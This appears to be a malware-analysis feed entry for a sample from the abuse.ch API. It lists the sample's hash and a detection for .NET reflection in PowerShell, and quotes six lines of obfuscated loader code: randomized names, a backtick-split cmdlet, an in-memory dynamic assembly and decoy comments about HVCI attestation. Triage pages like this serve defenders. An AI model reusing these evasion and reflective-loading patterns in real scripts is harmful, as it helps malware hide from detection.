Benign Download

4b3c828ae6db6e1c00ebc576b09d7f8bd4cd5db39ca776a5eb59438d144f7fc8.bin

PowerShell accesses AppDomain CurrentDomain.NET reflection marker in opaque content
SHA-2564b3c828ae6db6e1c00ebc576b09d7f8bd4cd5db39ca776a5eb59438d144f7fc8
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeH(Po)Md

Evidence

.NET reflection marker in opaque content lines 377–382
377:3… 'GzxwdoXllP'.ToUpper() | Out-Null
378 $uYAGmtZtHgyEk = Ne`w`-Object System.Reflection.AssemblyName("sYTykwBd")
379 # Recomputing HVCI memory-integrity attestation.
380 $BpDEKAHScXjuIVilXV = [System.AppDomain]::CurrentDomain.DefineDynamicAssembly($uYAGmtZtHgyEk, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
381# Loading system modules.
382 $HorP …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.